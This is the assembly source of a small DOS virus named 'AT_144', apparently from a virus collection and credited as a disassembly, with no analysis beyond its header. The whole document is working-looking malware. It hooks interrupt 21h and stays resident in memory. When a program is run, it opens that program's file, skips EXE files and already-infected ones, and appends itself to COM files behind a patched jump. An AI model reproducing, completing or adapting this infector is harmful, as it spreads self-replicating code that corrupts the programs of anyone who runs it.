OneHalf  Virii

AT_144

; --------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
; --------------------------------------------------------------------------

.model tiny
.286
.code
org 100h

start:
db 0e9h,02,0

Host_File:
int 21h

Virus_Entry:
pusha
mov di,si
call Get_Displacement

Get_Displacement:
pop si
add si,31h
movsb
movsw

mov ax,24h
mov es,ax
xor di,di
sub si,3Ah
cmp byte ptr es:[di],60h
mov cl,90h
rep movsb

jz Done_Install
mov ds,cx
mov si,84h
movsw
movsw
mov word ptr [si-4],3Ah
mov [si-2],ax
push cs
pop ds

Done_Install:
push cs
pop es
popa
jmp si
Jump_Byte db 0e9h
Storage_Bytes:
mov ax,4c00h

Int_21_Handler:
pusha
push ds
xor ah,4Bh
jnz Exit_Handler
mov ax,3D02h
int 0B4h
jc Exit_Handler
mov bx,ax
push cs
pop ds
mov ah,3Fh
mov cx,3
mov dx,37h
mov si,dx
int 0B4h
cmp byte ptr [si],4Dh
je Close_File
mov ax,4202h
xor cx,cx
xor dx,dx
int 0B4h
sub al,3
mov bp,ax
mov cl,90h
sub ax,cx
cmp ax,[si+1]
je Close_File
mov ah,40h
int 0B4h
mov ax,4200h
xor cx,cx
int 0B4h
mov ah,40h
lea dx,[si-1]
mov cl,3
mov [si],bp
int 0B4h

Close_File:
mov ah,3Eh
int 0B4h
Exit_Handler:
pop ds
popa
db 0EAh
end_virus:
end start